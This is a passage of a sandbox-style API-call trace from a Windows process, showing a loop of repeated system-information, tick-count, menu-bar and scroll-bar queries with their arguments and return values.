dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.138] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.138] GetTickCount () returned 0x4681 [0096.138] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.138] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.138] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.138] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.138] GetTickCount () returned 0x4681 [0096.138] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.139] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.139] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.139] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.139] GetTickCount () returned 0x4681 [0096.139] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.139] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.139] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.139] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.139] GetTickCount () returned 0x4681 [0096.139] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.139] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.139] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.139] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.139] GetTickCount () returned 0x4681 [0096.139] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.139] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.139] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.139] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.139] GetTickCount () returned 0x4681 [0096.139] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.139] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.139] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.139] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.140] GetTickCount () returned 0x4681 [0096.140] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.140] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.140] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.140] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.140] GetTickCount () returned 0x4681 [0096.140] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.140] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.140] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.140] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.140] GetTickCount () returned 0x4681 [0096.140] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.140] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.140] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.140] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.140] GetTickCount () returned 0x4681 [0096.140] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.140] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.140] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.140] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.140] GetTickCount () returned 0x4681 [0096.140] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.140] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.140] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.141] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.141] GetTickCount () returned 0x4681 [0096.141] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.141] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.141] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.141] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.141] GetTickCount () returned 0x4681 [0096.141] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.141] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.141] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.141] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.141] GetTickCount () returned 0x4681 [0096.141] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.141] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.141] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.141] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.141] GetTickCount () returned 0x4681 [0096.141] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.141] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.141] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.141] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.141] GetTickCount () returned 0x4681 [0096.141] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.141] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.141] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.142] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.142] GetTickCount () returned 0x4681 [0096.142] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.142] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.142] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.142] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.142] GetTickCount () returned 0x4681 [0096.142] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.142] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.142] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.142] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.142] GetTickCount () returned 0x4681 [0096.142] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.142] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.142] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.142] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.142] GetTickCount () returned 0x4681 [0096.142] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.142] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.142] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.142] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.142] GetTickCount () returned 0x4681 [0096.142] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.142] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.143] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.143] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.143] GetTickCount () returned 0x4681 [0096.143] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.143] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.143] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.143] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.143] GetTickCount () returned 0x4681 [0096.143] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.143] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.143] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.143] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.143] GetTickCount () returned 0x4681 [0096.143] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.143] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.143] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.143] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.143] GetTickCount () returned 0x4681 [0096.143] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.143] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.143] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.143] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.143] GetTickCount () returned 0x4681 [0096.144] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.144] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.144] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.144] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.144] GetTickCount () returned 0x4681 [0096.144] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.144] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.144] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.144] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.144] GetTickCount () returned 0x4681 [0096.144] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.144] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.144] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.144] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.144] GetTickCount () returned 0x4681 [0096.144] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.144] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.144] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.144] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.144] GetTickCount () returned 0x4681 [0096.144] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.144] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.144] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.144] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.145] GetTickCount () returned 0x4681 [0096.145] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.145] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.145] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.145] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.145] GetTickCount () returned 0x4681 [0096.145] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.145] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.145] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.145] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.145] GetTickCount () returned 0x4681 [0096.145] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.145] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.145] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.145] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.145] GetTickCount () returned 0x4681 [0096.145] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.145] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.145] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.145] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.145] GetTickCount () returned 0x4681 [0096.145] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.145] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.145] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.146] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.146] GetTickCount () returned 0x4681 [0096.146] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.146] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.146] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.146] IsProcessorFeaturePresent 